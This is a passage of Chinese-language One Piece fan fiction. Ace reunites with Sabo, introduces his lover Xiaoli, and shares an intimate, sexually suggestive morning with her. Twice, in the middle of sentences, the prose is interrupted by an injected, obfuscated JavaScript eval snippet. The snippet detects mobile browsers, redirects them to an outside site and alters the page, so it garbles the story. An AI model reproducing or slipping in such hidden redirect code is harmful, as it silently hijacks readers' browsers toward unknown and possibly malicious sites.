所有的言语,所有的解释,在此时都显得苍白无力。唯有这真实的、滚烫的体温和泪水才能诉说着这跨越了生死界限与漫长遗忘的、名为“兄弟”的、近乎神迹的奇迹。 过了许久,艾斯才像是耗尽了所有哭喊的力气,胸腔的震动渐渐平复,手臂那几乎要勒断肋骨的力道微微松懈,却仍固执地不肯放开。 “混蛋……” 艾斯的声音依旧沙哑得厉害,“你知道……我那时候……我以为……我下海去找……找了好久……” 那些深埋心底、连在达旦和路飞面前都强行压抑的、关于寻找萨博“遗体”的绝望与疯狂,此刻终于对着当事人,此刻终于找到了宣泄的出口,“我连……连你的……尸体都找不到……只有一些碎片……” 萨博听着,心如刀割。他能想象,当年的艾斯是怀着怎样的心情面对那场“事故”。他用力吸了吸鼻子,胡乱用袖子抹了把脸,结果把眼泪抹得到处都是。他看着艾斯近在咫尺的、同样狼狈却无比鲜活的脸,终于努力扯出一个如释重负的、带着泪水的、却无比灿烂的笑容: “真是的……亏我还准备了一肚子话,想着怎么解释我是谁、我怎么活下来的、这些年去了哪里……” 他试图用轻松的语气驱散一些沉重的气氛,声音却依旧哽咽,“结果……一点都没说出来……全忘了……” 艾斯闻言,终于也嗤笑了一声,带着浓重的鼻音。他抬起头,同样泪痕满面,却已经能看清眼前萨博的样子。他猛地抬手,用力搂住萨博的脖子,把他往下带,另一只手毫不客气地、带着兄弟间特有的亲昵与“惩罚”,用力揉了揉萨博那头金发,把他的帽子和头发一起揉得乱糟糟: “笨蛋!” 艾斯的声音提高了一些,带着哭过后的沙哑和熟悉的、对兄弟的“嫌弃”,“我难道会傻到认不出自己的兄弟吗?!你这张脸!这个傻乎乎的眼神!哪怕是变成骨头,烧成灰我都认得!” 这句久违的、充满艾斯风格的、粗鲁又亲昵的“骂声”,瞬间击溃了萨博好不容易维持的一点“镇定”。他的鼻子又是一酸,刚止住一点的眼泪差点又掉下来,但心里却被一股巨大的暖流填满。是啊,他是他的弟弟啊,无论分开多久,他都能在见到他的第一眼认出他。 “对了,艾斯!” 萨博忽然想起什么,眼睛一亮,带着迫不及待分享的喜悦,“我在德雷斯罗萨见到路飞了哦!那个傻瓜,刚开始完全没认出我,还一脸‘你是谁啊’的表情,直到我说出咱们的结义酒他才反应过来,然后吓了一大跳!哈哈哈!” 想起路飞当时那张震惊到下巴掉地上的脸,扑到自己身上痛哭流涕的样子,萨博忍不住笑出声,虽然眼里还含着泪花。 “德雷斯罗萨?路飞那小子……” 艾斯愣了一下,随即也咧嘴笑起来,露出洁白的牙齿,脸上的泪痕还没干,笑容却已经灿烂得如同拨云见日,“哈哈!那个单细胞生物!” 兄弟二人想起那个让人头疼又无比珍爱的弟弟,露出一模一样的、混合了无奈、宠溺与了然的神情,随即同时哈哈大笑起来。笑声驱散了最后一丝阴霾,充满了失而复得的纯粹快乐。 笑过之后,萨博挺了挺胸膛,正式介绍自己现在的情况:“我现在加入革命军了。当年是龙先生在海上救了我。我受了重伤,失去了记忆,被他带回革命军抚养长大。” 他顿了顿,语气变得更加郑重,也带着一丝对艾斯倾诉的亲近,“我啊,现在可是革命军的总参谋了!怎么样,厉害吧?”他说这话时,语气里带着一点点骄傲,像弟弟向哥哥汇报成绩,但眼神坚定,显然对这个身份和责任充满认同。 “总参谋?” 艾斯挑了挑眉,上下打量了萨博一番,眼神里先是惊讶,随即化为毫不掩饰的骄傲笑意,他用力拍了拍萨博的肩膀,差点把他拍个趔趄,“怪能干的嘛小子! ” “艾斯也不赖啊!” 萨博毫不示弱地回敬,眼里闪着光,“我恢复记忆后,回去找之前的报纸看,‘火拳艾斯’ 的名字可是早早地活跃在大海上了!超新星,拒绝了七武海的招揽,再到白胡子海贼团二番队队长,悬赏金现在有十亿了吧……” “嘿嘿……” 艾斯摸了摸后脑勺,笑容里带着满足和一丝不易察觉的释然,“我啊,现在也找到自己的归宿了。我的老爹——白胡子爱德华·纽盖特,还有莫比迪克号上的大家……” 他的声音柔和下来,充满了归属感。 他说着说着,忽然想起了什么,猛地转头,目光急切地在周围搜寻。刚才情绪太过汹涌,几乎让他忘记了其他一切。直到看见那个安静地站在几步之外、没有打扰他们、只是用那双盛满了温柔理解与担忧水光的湛蓝眼眸静静望着他们的娇小身影时心脏瞬间被另一种柔软而澎湃的情绪填满。 他几乎是下意识地伸出手,掌心向上,指尖还带着一点未散的颤抖。 小狸的目光一直追随着他,看到他的动作,立刻眯起眼睛,笑眯眯的将自己微凉而柔软的手放入了他的掌心。 那熟悉的触感,那通过指尖传递过来的支持,瞬间抚平了他内心最后一丝残余的动荡与不安,将他从那个充满了泪水、回忆与巨大情绪波动的漩涡中,稳稳地拉回了充满阳光与希望的当下。 他深吸了一口气,重新看向萨博,嘴角已经努力扬起一个带着点傻气的骄傲笑容。 “萨博,” 他的声音稳定了许多,不再颤抖,他侧过头,看向身边安静陪伴的少女,眼神里的爱意浓烈得几乎要满溢出来,全心全意地倾泻在她身上,照亮她微红的脸颊和清澈的蓝眼睛。 “这是小狸。”他清晰地介绍,然后顿了顿,仿佛在品味下一个词的重量与甜蜜,才一字一句的宣告: “是我的……爱人。” “爱人”这个词,从他口中清晰地吐出,带着一种沉甸甸的分量,砸在萨博的心上,也落在小狸的耳中,引起一阵细微的战栗。 小狸的脸颊瞬间飞上两抹红霞,她有些害羞地低下头,睫毛轻颤 萨博看着眼前这一幕,看着艾斯紧紧握着少女的手、看向她时那几乎能将冰川融化的、充满保护欲与无限柔情的眼神——那是他从未想象能在自家兄弟脸上看到过的、属于一个成熟“男人”而非曾经那个带着尖刺的“男孩”的、深刻而毫无保留的深情。 再看看小狸。她安静地站在艾斯身边,并不高大,甚至有些纤细,可她的存在本身,就像一道柔和却坚韧的光,恰到好处地中和了艾斯身上某些过于炽烈、甚至可能伤到自己的部分。 那个曾经像一团孤独燃烧的野火、带着自毁倾向、不懂何为安稳与长久羁绊的艾斯,那个将“自由”和“证明存在”刻在骨子里的男孩……如今,他的眼神里有了港湾,有了牵绊,有了心甘情愿的停留与守护。那是一个“男人”凝视他心爱之人的眼神,深沉、坚定、温柔得不可思议。 “小狸……” 萨博的声音温柔,他向前一步,略微弯下腰,平视着这个娇小的少女,然后郑重地伸出手。 小狸反应了一下,看了看艾斯鼓励的眼神,也伸出自己空着的那只手,轻轻地和萨博握在一起。他的手温暖而有力,掌心有长期握持武器的薄茧。 “谢谢你……” 萨博握着小狸的手,声音里带着一丝不易察觉的哽咽,但笑容依旧明亮,“谢谢你出现在艾斯身边,谢谢你能让他……” 他顿了顿,寻找着合适的词语,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128246|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次扫过艾斯那张写满幸福与满足的脸,“……让他有了更多留恋这个世界的、坚实的羁绊……” 他哽咽了一下,后面的话没有完全说出口,但所有人都明白那未尽之意:谢谢你能让他如此幸福,谢谢你能让他拥有这样毫无阴霾的、发自内心的笑容,谢谢你能爱他,也被他如此深爱着。 小狸被萨博这突如其来的、深沉而真诚的哽咽和感谢弄得有些不知所措,但萨博身上散发出的、与艾斯如出一辙的温暖、正直又令人安心的气息,让她很快放松下来。她能感受到那份感谢的重量,也明白其中蕴含的、对艾斯深刻的兄弟之情。 她松开手,犹豫了一下,然后轻轻地、带着安慰和接纳意味,上前一步,伸出双臂,回抱了一下萨博。她的拥抱很轻,像一片羽毛,却带着治愈人心的温暖力量。她用软糯而清晰的声音,在他耳边轻声说: “萨博……欢迎回来。” 简单的几个字,却像一把钥匙,打开了萨博心中最后一道因“迟到”和“遗忘”而产生的愧疚枷锁。他的眼泪再次涌出,但这次是纯粹的喜悦与释然。他用力点了点头,回以一个轻轻的拥抱。 这时,在一旁已经哭的眼眶通红的克尔拉终于忍不住了。她挤上前来,脸上带着毫不掩饰的、对可爱事物毫无抵抗力的喜爱光芒,双手合十,眼睛亮晶晶地看着小狸: “那个……小狸是吧?我是克尔拉!萨博的同伴,也是朋友!” 她的声音清脆活泼,带着感染力,“现在……我可以抱抱你了吗?我从刚才就超级想这么做了!” 小狸看着眼前这个笑容爽朗甜美、眼神干净明亮、毫不做作的橘发少女,猫耳轻轻抖了抖,感受到对方纯粹的善意和热情。她也回以一个羞涩又友好、带着点好奇的笑容,然后点了点头。 “太好了!” 克尔拉立刻欢呼一声,像是得到了世界上最棒礼物的小孩,小心翼翼却又充满热情地轻轻抱住了个子小小的小狸,动作温柔,生怕弄疼她。她的手温柔地抚摸着小狸背后蓬松顺滑的黑发,又忍不住轻轻碰了碰那对看起来手感极佳、随着主人心情微微颤动的黑色猫耳尖,发出满足的、仿佛喝到美味饮料般的喟叹:“哇……真的好软好可爱!毛绒绒的! 手感超棒!” 小狸被她直白的喜爱和有趣的反应逗得轻轻笑了起来,也放松地靠在克尔拉温暖而充满活力的怀里,享受着这份来自新朋友的、纯粹而热情的亲近。 克尔拉更是爱心泛滥,抱着软乎乎、香喷喷的小狸,心里闪过无数个念头,恨不得当场就把这只可爱到犯规的小猫拐回革命军总部去,天天抱着工作……当然这个想法只是一闪而过,她看了看旁边正和萨博相视而笑、眼神却始终不离小狸的艾斯打消了这个念头,嗯……白胡子海贼团不会同意的吧……而且艾斯肯定会第一个跳出来反对…… 可惜了! 艾斯抬手,用指节擦了擦眼角和脸颊残余的湿意,深深吸了一口气,又缓缓吐出,仿佛将过去十余年的沉重一并呼出。 他看着萨博,指了指旁边咖啡座的空位:“坐下聊?” 几人重新在圆桌旁坐下。艾斯依旧紧紧握着小狸的手,仿佛那是他的力量源泉。他看向萨博,眼神明亮,语气里是掩不住的、想要与失而复得的兄弟分享自己所有经历、所有改变、所有喜悦的急切。 “萨博,我跟你说……” 刚一坐下,艾斯就开始滔滔不绝地讲起来。他讲他成立黑桃海贼团,与伙伴们的冒险;讲他如何挑战白胡子,又如何在那位伟大父亲的胸怀里找到归宿与“家人”的定义;讲莫比迪克号上的喧闹、温暖与无可替代的羁绊;讲叛徒黑胡子的背叛与那场改变一切的顶上战争;讲自己那段异世之旅和那道奔他而来跨越世界的光;讲他和小狸共同的冒险,讲她如何带他回家,回到老爹和伙伴们身边;讲如今重获新生的“炎雀号”和即将开始的航行……他的语气时而激昂,时而低沉,时而充满骄傲,时而带着后怕,但始终贯穿着一种坚实的、温暖的底色。 萨博专注地听着,眼睛一眨不眨地看着艾斯。他能清晰地感觉到,艾斯变了。那份曾经深藏在骨子里的、连艾斯自己都未必完全意识到的自我否定、漂泊无根感,以及如同火焰般随时可能灼伤自己与他人的激烈,似乎被一种坚实的、温暖的、名为“家”与“爱”的底气所取代。他的火焰依然炽热,却不再是无目的的燃烧,而是有了守护的方向和归处。 而这变化的源头,这温暖底色的核心,显然来自于那个此刻正安静地坐在艾斯身边,悠闲地被克尔拉投喂新买的热乎乎的苹果派、偶尔抬头对他露出甜甜笑容,被艾斯夸张的讲述逗得抿嘴偷笑,湛蓝眼眸始终温柔追随着艾斯的娇小少女。 萨博说不出自己内心对这个小姑娘有多感激。她做到了他没能做到的事——在艾斯最黑暗的时刻,成为他的光,成为他的支柱。她不止一次救了他的兄弟,从□□到灵魂。这份恩情,他一生都偿还不了。 不过……看着艾斯此刻那副眉飞色舞、恨不得把所有关于小狸的好、关于他们之间点点滴滴都拿出来炫耀一遍的幼稚模样,萨博心里那点沉重的感激,又化为了哭笑不得的温暖。 这家伙,真是个……幼稚鬼。萨博看着自家兄弟那副“我有全世界最好的爱人”的得意模样,心里软成一片,又有点好笑。自诩成熟稳重的革命军总参谋,在心里默默吐槽了一句,随后端起面前那杯早已凉透的咖啡,下意识地喝了一口,想要平复一下依旧有些澎湃的心情。 噗——! 冰凉的、带着过度萃取后焦苦味的液体冲进口腔,萨博的脸瞬间皱成了一团,差点没忍住吐出来。 呸!真苦! 但这苦涩,却奇异地让他感到一种无比真实的、活着的幸福。 活着,真好啊 119.高攻低仿人菜瘾大 对于革命军总参谋萨博与其同伴克拉尔的突然到访与留宿,炎雀号上的船员们展现出了白胡子海贼团一贯的广阔胸襟与奇特的家风——毕竟,他们的队长波特卡斯·D·艾斯,本身就有着如同磁石般吸引“奇人异士”的体质,往家里捡人早已是家常便饭,甲板上多一两个新面孔,甚至一两个新成员都已经见怪不怪了。不过,这位金发彬彬、举止优雅的革命军,竟是自家队长失散多年、以为早已天人永隔的结义兄弟,这层身份还是让萨博收获了比寻常客人更多几分的好奇与友善的围观。 甲板上,篝火噼啪作响,酒碗碰撞的声音与豪迈的笑声交织直到深夜。艾斯与萨博并肩坐着,中间仿佛隔着十余年的时光洪流,他们贪婪地汲取着对方这些年的经历,从哥亚王国的垃圾山到革命军的严谨队伍,从失去记忆的空白到背负起各自的使命,话题的核心,总绕不开那个让他们羁绊重启的名字,他们共同的、橡胶笨蛋弟弟,蒙奇·D·路飞。每一段回忆都像一块拼图,将断裂的过去缓缓连接,酒意微醺,眼底却比火焰更亮。 当艾斯终于带着一身清冽夜风与淡淡酒气回到房间时,喧嚣已被隔绝在门外。月光如同倾泻的银色纱幔,透过舷窗,轻柔地铺满了房间。在那张不算宽敞但足够温暖的床上,他的小狸已然安睡。清辉勾勒着她侧脸的柔美线条,长睫在眼下投出浅浅的阴影,肌肤在月光下泛着莹润的光泽,整个人像一件被精心珍藏的瓷器,朦胧而静谧。 然而,这份静谧中,又透着一丝不易察觉的委屈。似乎是因为冬夜愈发深重的寒意悄悄浸透了船舱的木板,而她专属的、恒定的“人形暖炉”又迟迟未归,少女在睡梦中无意识地蜷缩了起来。她将自己团成小小的一团,膝盖几乎要抵到胸口,双臂也紧紧环抱着自己,像一只在寒冷冬夜里试图保存仅有热量、寻求安全感的小动物。那模样,看起来可怜兮兮,又可爱得让人心尖发颤。 艾斯的心瞬间软成了一滩春水,无奈又好笑。他动作极轻地走到一旁的简易淋浴间,快速冲掉身上大部分酒气,生怕那味道熏扰了她的好梦,只留下清爽的、带着皂角淡香和独属于他体温的热意。他小心翼翼地掀开被子一角,躺了进去,然后长臂一伸,将那只“小可怜”整个捞进了自己宽阔温暖的怀抱里。 “嗯……”陷入熟悉怀抱的瞬间,小狸在梦中发出一声几不可闻的嘤咛。像是漂泊的小舟终于回到了港湾,她本能地在他怀里寻找最舒适的位置,毛茸茸的脑袋在他颈窝与胸膛前依赖地蹭了蹭。那温暖而充满安全感的气息包裹着她,让她舒适地轻轻哼唧了一声,脸颊无意识地贴着他胸前的线条磨拱了两下,仿佛在确认他的存在。 艾斯被怀中小猫这全然依赖的粘人模样深深取悦,胸腔震动,发出低沉而愉悦的轻笑。他低头,鼻尖萦绕的全是她发间、颈间散发出的,如同奶糖混合着阳光的甜蜜香气,纯粹而诱人。这气息,比最烈的酒更易醉人。几乎是立刻,他感到身体深处窜起一股熟悉的、燥热的冲动,血液似乎都朝着某个方向奔涌而去。 “真是的……”他在心底无奈地叹息。夜已深,她睡得正香,他实在不忍心将她闹醒。艾斯只能僵硬着身体,努力克制着翻腾的欲望,一遍遍轻柔地抚摸着怀中少女丝绸般顺滑的长发,试图用这种撸猫的方式安抚自己躁动的神经。 偏偏,睡梦中的小狸对此一无所知。冬夜船舱的凉意和她身体对热源的本能渴望,驱使着她更紧地贴向这具散发着诱人热度的身躯。她无意识地伸展手臂,环住了他的脖颈,将自己更近地拉向他。一条腿也任性又无比依赖地抬起,跨上了他精瘦有力的腰际,脚踝甚至无意中蹭过他紧实的小腿肌肉。 整个人紧紧地、 毫无缝隙地缠绕在他的身上。裸露在睡衣外的纤细胳膊和光洁的小腿与他温热甚至有些烫人的皮肤大面积相贴,那熨帖到心底的暖意让她在梦中发出满足的喟叹,更加肆无忌惮地在他身上蹭动、调整着姿势,寻找着最暖和的角度。 这下,艾斯彻底成了一个头两个大。他能清晰地感受到她腰间那截细腻如瓷的皮肤的触感,柔软中带着惊人的弹性;掌心下紧贴的腰线弧度,仿佛在无声地诱惑;而她大腿内侧细腻的肌肤无意间擦过他紧绷的腰腹,更是带来一阵令人战栗的电流。深吸一口气, 试图用冰冷的空气压下腹部的火焰,却只吸入更多属于她的甜蜜香气。 最终,他将滚烫得快要冒烟的脸颊深深埋进她馨香馥郁的颈窝,伸出舌尖,带着几分惩罚性的意味,又饱含着无尽的爱恋与渴望, 轻轻舔舐过她颈侧那一小片最为敏感脆弱的肌肤。那里的皮肤薄得能看见淡青色的血管,温度比其他地方略高,带着她独特的甜香。 低沉沙哑得不像话的声音,混合着灼热到仿佛能点燃空气的呼吸,喷洒在她敏感的耳廓与脖颈的皮肤上,激起一片细小的疙瘩:“小狸你要是再这样.....蹭来蹭去......他顿了顿,喉结剧烈滚动,声音更加危险而充满暗示,“我可不保证还能继续当个坐怀不乱的绅士了” 艾斯已经给自己找好了理由,满怀期待,睡梦中的小狸却似乎被这痒意和声音打扰,不满地轻轻哼唧了一声,像只被撸得不舒服回头咬人的小猫,下意识地扭了扭身子,竟是从面对他的姿势,转成了背对着他,试图躲避那扰人清梦的源头。然而,即便是背对着,她依旧不自觉地、像寻找热源的小动物般,向后拱了拱,将整个纤细却线条优美的脊背,紧密地贴入他宽阔滚烫的胸膛,让他的手臂能更自然地环住她的腰腹。做完这一切,她的脸上重新浮现出安心而甜蜜的微笑,甚至还满足地咂了咂嘴,仿佛艾斯方才所有的挣扎、警告与充满欲望的挑逗,都不过是她香甜美梦中一段无关紧要的、甚至有些恼人的小插曲。或者说,正是因为有他在身边,有这具温暖可靠的身体作为依靠, 她才得以拥有如此深沉无扰、充满安全感的梦境。 看着怀中人儿毫无防备、睡得红扑扑的小脸,那长长的睫毛像两把小扇子安然栖息,艾斯心中最后一丝躁动也被无尽的怜爱所取代。他终究是舍不得吵醒她,舍不得破坏她此刻的安宁。 他强迫自己深呼吸,用强大的意志力压下身体深处依旧喧嚣的欲望。手臂温柔却坚定地环住她纤细的腰肢,将娇小的她更紧地圈在怀中。 今夜,巨大的幸福感如同温暖而平缓的洋流,温柔地包裹着他。失而复得、以为永别的兄弟就安稳地睡在隔壁舱室;此生挚爱、灵魂的半身正毫无保留地信赖着他,安稳地蜷缩在他怀中,呼吸间都是让他心安的气息。一想到明天清晨,睁开眼第一个看到的依旧会是她睡眼惺忪、迷迷糊糊、下意识往他怀里钻寻求温暖的依赖模样,一种近乎圆满的喜悦便从心脏最深处满溢出来,流淌至四肢百骸,熨帖着每一个细胞。 他缓缓闭上眼睛,将怀里的小人儿搂得更紧了些,让她的脊背完全贴合他的胸膛,下颌轻轻抵着她的发顶。 “晚安,我的小狸。”他在心中默念,带着满腔未曾说出口的爱意与守护的誓言,与她一同沉入共同编织的、温暖的梦境之海。 --- 晨光透过圆形的舷窗,在木质的地板上切割出温暖的光斑,细微的尘埃在光柱中翩跹起舞,如同碎金般闪耀。海平面上的朝阳将柔和的金粉色洒满房间,也勾勒出床上相拥身影的轮廓。 小狸是在一种被紧密包裹的安全感和一道专注的视线中,缓缓从睡梦中苏醒的。她纤长的睫毛轻颤了几下才慵懒地睁开。视线尚未完全清晰,便直直撞入了一汪含笑的深潭里,艾斯早已醒了,不知就这样凝视了她多久。 他侧躺着,一只手枕在自己的头下,另一只手仍占有性地环在她的腰际。那双总是燃烧着跃动火焰的黑眸,此刻却像是被晨曦浸透的温暖海域,漾着几乎要满溢出来的宠溺与深沉爱意。那目光太浓烈,太专注,看得小狸心头小鹿乱撞,白皙的脸颊瞬间染上了朝霞般的绯红。 “早……早安,哥哥~” 她有些不好意思地垂下眼睑,声音带着刚睡醒的软糯沙哑,像小猫伸出爪子,在心尖上轻轻挠了一下。为了掩饰羞涩,她仰起小巧的下巴,飞快地在他线条硬朗的下颌上啄了一下,如同蜻蜓点水,一触即分。 这主动又带着羞怯的亲昵,瞬间极大的取悦了艾斯。他喉咙里溢出低沉而愉悦的轻笑,像是陈年的佳酿般醉人。他伸出带着薄茧的手指,轻轻捏住了她小巧的下巴,迫使她抬起依然泛着红晕的脸颊,低头便要吻上去。 “等、等等!”小狸急忙抬起微凉的手,捂住了他即将落下的唇,蓝宝石般的猫瞳里闪过一丝慌乱,“我……我早上还没有洗漱……” 声音越说越小,带着在心上人面前的矜持与小小顾虑。 艾斯挑了挑眉,深邃的眼底掠过一丝戏谑和不容置疑的强势。这点小小的抗议,在他眼里无异于欲拒还迎的邀请。他身体猛地一个利落的翻转,便轻松地将身下娇小的少女彻底笼罩在自己的阴影之下。他一只手便轻易地制住了她捂嘴的纤细手腕,将其拉高固定在枕边。 “我不在乎……” 他沙哑的嗓音带着灼热的气息,拂过她的鼻尖。 随即,他精准地攫取了她那微微张开的、还带着一丝睡意的唇瓣。 这不是一个温柔的早安吻。这是一个带着不容抗拒的占有欲和炽热情潮的、深入骨髓的标记。他的舌蛮横地撬开她因惊讶而微启的贝齿,长驱直入,强迫她的舌尖与自己共舞。吮吸、舔舐、勾缠……每一个动作都充满了侵略性,却又带着一种近乎虔诚的沉迷,仿佛在汲取她口中甘美的源泉,连带她细微的呜咽和紊乱的呼吸都一并吞没。 小狸只觉得大脑瞬间一片空白,所有的羞涩和顾虑都被这个吻搅得粉碎。氧气变得稀薄,身体像是被点燃了一般,酥麻的感觉从相接的唇舌蔓延至四肢百骸。她被他固定着手腕,无力反抗,也不想反抗,只能被动地承受着这汹涌的爱意,鼻腔里溢出的喘息细碎而娇媚,如同被海浪拍打到岸边的泡沫。 不知过了多久,在小狸觉得自己快要因缺氧而晕眩时,艾斯才恋恋不舍地稍稍退开。银色的暧昧丝线在两人分离的唇间牵断。他深邃的眼眸暗沉得像暴风雨前的海面,紧紧锁住她迷离的蓝瞳和那被蹂躏得愈发红肿水润的唇瓣。 他低笑着,伸出舌尖,像是品尝最顶级的甜品,慢条斯理地舔去她唇角沾染的、属于他们两人的晶莹津液。那动作带着一种野性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130713|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的邪气和无尽的满足。 “甜的。”他低沉地宣判,嗓音里饱含着餍足的笑意和化不开的浓情。 这一刻,清晨的空气里,仿佛都弥漫开了蜂蜜般粘稠而甜腻的气息。 “艾、艾斯!”那声带着颤音的娇嗔,像一根羽毛搔刮过艾斯本就紧绷的神经。 怀中小猫羞恼地挣扎起来,身体不安分地扭动,那双纤细修长的腿无意识地蹬踹着,其中一下,不偏不倚,膝盖内侧极其“巧合”地蹭过了他的下腹。 “呃哼……“艾斯喉间瞬间滚出一声压抑不住的、沙哑的闷哼。那突如其来的摩擦感,如同火星溅入了油库,几乎要将他最后的理智焚烧殆尽。 “小狸....”他再次唤她的名字,声音比刚才更加低沉、沙哑,仿佛裹挟着砂砾,每一个音节都充满了危险的、亟待爆发的欲望。他那双深邃的黑眸此刻燃着实质般的火焰,紧紧锁住身下的人儿,那日光炙热得几乎要将她融化。空气中弥漫的暖味因子浓度陡然攀升,预示着风暴即将来临。 小狸的心脏在胸腔里疯狂擂动,如同揣了一只受惊的兔子。她清晰地感受到那隔着薄薄睡衣布料传来的、不容忽视的高温,以及艾斯眼中毫不掩饰的侵略意图——他显然不打算再放过她,压抑的渴望准备在此刻连本带利地讨回来。 她紧张地咽了口口水,喉咙有些发干。艾斯那性感得近乎罪恶的嗓音,带着一种蛊惑人心的魔力,让她原本推拒的力道不自觉地松懈下来。鬼使神差地,或许是出于好奇,或许是潜意识的引诱,她那刚刚“闯祸”的膝盖,非但没有远离,反而微微弯曲起来,带着一种天真又致命的诱惑,隔着柔软的棉质睡裤,若有似无地试探起来。 “呵……”艾斯从胸腔深处发出一阵低沉而愉悦的笑声,那笑声里充满了“这可是你自找的”的意味,以及一种即将得偿所愿的野性满足。他不再给她任何退缩的机会,滚烫的身躯带着不容抗拒的力量,彻底压了下去,将少女纤细柔韧的身子严丝合缝地嵌入自己怀中,夺走了她所有可能逃离的空间。 在这个被爱意与欲望隔绝的小小世界里,只剩下彼此交织的呼吸、肌肤相贴的滚烫温度、和逐渐失控的心跳声。 艾斯的吻再次落下,这次不再是局限于唇瓣。他滚烫的唇舌如沿着她纤细的脖颈一路向下,在精致的锁骨上流连,留下湿润的痕迹和细微的刺痛。他的大手探入她宽松的睡衣下摆,掌心带着薄茧的粗糙触感抚过她腰间细腻滑嫩的肌肤,引起她一阵阵战栗。 “艾斯.....别 “小狸徒劳地抗议着,声音却软得不像话,更像是一种欲拒还迎的邀请。她的手指无意识地插入他浓密的黑发间,时而试图推开,时而又不自觉地收紧,将他更拉向自己 “别什么?“艾斯抬起头,眼神暗沉,嘴角勾起一抹坏笑,气息灼热地喷在她敏感的耳廓,“昨晚不是睡得挺好?把我当暖炉蹭了一晚上 ”他一边说着,一边用牙齿轻轻叼住她睡衣的领口,向下扯了扯,露出更多白皙的肌肤。 “那是冷嘛 ”小狸红着脸辩解,身体却诚实地因他的动作而微微颤抖。 “那现在呢?”他的手掌贴上她腰间最软的一处,那里的肌肤细腻温热, “还冷吗?” 小狸咬住下唇,摇了摇头。何止不冷,她感觉自己快要烧起来了。 …… 当他终于一脸餍足地停下,将那个被欺负得浑身瘫软、眼泛泪光的小家伙重新揽回怀里时,小狸只觉得像是刚从水里被捞出来,浑身都被汗水浸透,细腻的皮肤泛着粉色光泽,脸颊更是烫得能煎鸡蛋。 她连抬拾起手指的力气都快没有了,只能把滚烫的脸颊埋在他同样汗湿的胸膛上,用带着浓浓鼻音和娇嗔的语调哼哼唧唧地控诉,纤细的手臂软软环着他的脖颈,像只寻求安抚又不忘抱怨的猫。 艾斯低笑着,回应她的是落在发顶、额头、鼻尖、以及那微微红肿唇瓣上的,一连串细碎而温柔的吻。 “谁让你先撩拨我的?“他声音依旧沙哑,却多了几分慵懒与满足, “而且......”他凑到她通红的耳边,用气声低语 “你明明也很喜欢。” 小狸的脸更红了,羞得说不出话,只能把脸更深地埋起来,耳尖都红得透明。 艾斯又抱了她一会儿,感受着彼此逐渐平复的心跳和紧密相贴的温暖。然后,他猛地起身,强有力的手臂穿过她的膝弯和后背,轻松地将她打横抱起。 “啊!“小狸轻呼一声,下意识地更紧地搂住他的脖子。 “一身汗,黏糊糊的,洗个澡” “我自己洗啦!” 他大步走向房间内附带的简易浴室。他一边走,一边再次低头,精准地捕获了她微张的、还欲说些什么的唇瓣,用一个依旧缠绵温柔的吻,封缄了她所有未尽的言语 此时此刻,谁还会在乎天色早已大亮,甲板上或许已经传来了船员们晨起的喧器?谁还会在意阳光正毫无保留地洒满房间的每一个角落? 蒸腾的热气渐渐模糊了浴室的玻璃,也模糊了其中交织的身影。新的一天,就在这样亲密与缱绻的氛围中,正式开始了。 120.打架是为了增进感情 意料之外的,托克尔拉那源自革命军情报网的精准消息,炎雀号居然意外地锁定了黑胡子马歇尔·蒂奇的行踪。然而,情报显示的地点,与他们原定的和之国航向南辕北辙。经过一阵短暂而激烈的商讨,丢斯看着自己兄弟那欲言又止的表情还是叹了口气,最终拍板:放弃和之国行程,立即转向,全速朝黑胡子最后现身的岛屿进发。 萨博因肩负革命军的紧急任务,无法同行。临别前,艾斯与他用力地拥抱,拳头抵着拳头,彼此的力道透过骨节传递着无言的承诺与牵挂。“路上小心,艾斯。”萨博的声音沉稳,眼底却藏着担忧。 “啊,你也是。”艾斯咧开嘴,眼中闪着笃定的光,“下次见面,我会带着好消息——再把路飞那橡胶笨蛋叫上,我们三兄弟,一起好好的喝顿酒吧!” 夜色如墨,炎雀号的风帆鼓满了风,在黑暗中如同一支离弦的箭,朝着情报指示的方向全速前进。时间紧迫,每一秒都像是在与狡猾的对手赛跑,生怕慢了一步,对手便会再次察觉危险,悄无声息地潜入更深、更广袤的深海阴影之中,消失无踪。 整个甲板的气氛都绷得像一张拉满的弓弦,紧张而寂静。船员们各司其职,动作比平时更加迅捷,却沉默得近乎压抑,只有必要的指令和器物碰撞的轻响。凝重的气氛沉甸甸地压在每个人的心头。 艾斯独自站在船头,双手紧握着冰凉的木质栏杆,指节因过度用力而微微泛白,几乎要嵌进木头里。他凝视着远方的黑暗,侧脸在月光下显得格外冷硬,神情是前所未有的沉郁与冷峻。 就在这时,一道纤细灵巧、几乎与夜色融为一体的身影,悄无声息地落在他身旁略显狭窄的船舷上。小狸蹲在高处,黑色的长发被海风吹拂,有几缕掠过艾斯的脸颊。她长长的尾巴像一条鞭子,故意有一下没一下地轻轻拍打在艾斯的小臂和手腕。细软的绒毛扫过皮肤,带来一阵微痒而温暖的触感,这细微到几乎可以被忽略的打扰,却奇异地打断了艾斯那几乎要沉入仇恨与孤注一掷深渊的思绪。他几不可闻地叹了口气,紧绷的唇角却不受控制地牵起一丝纵容又温柔的弧度。他的手臂一揽便将那蹲在船舷上的少女整个抱了下来,牢牢圈进自己温热的怀里。 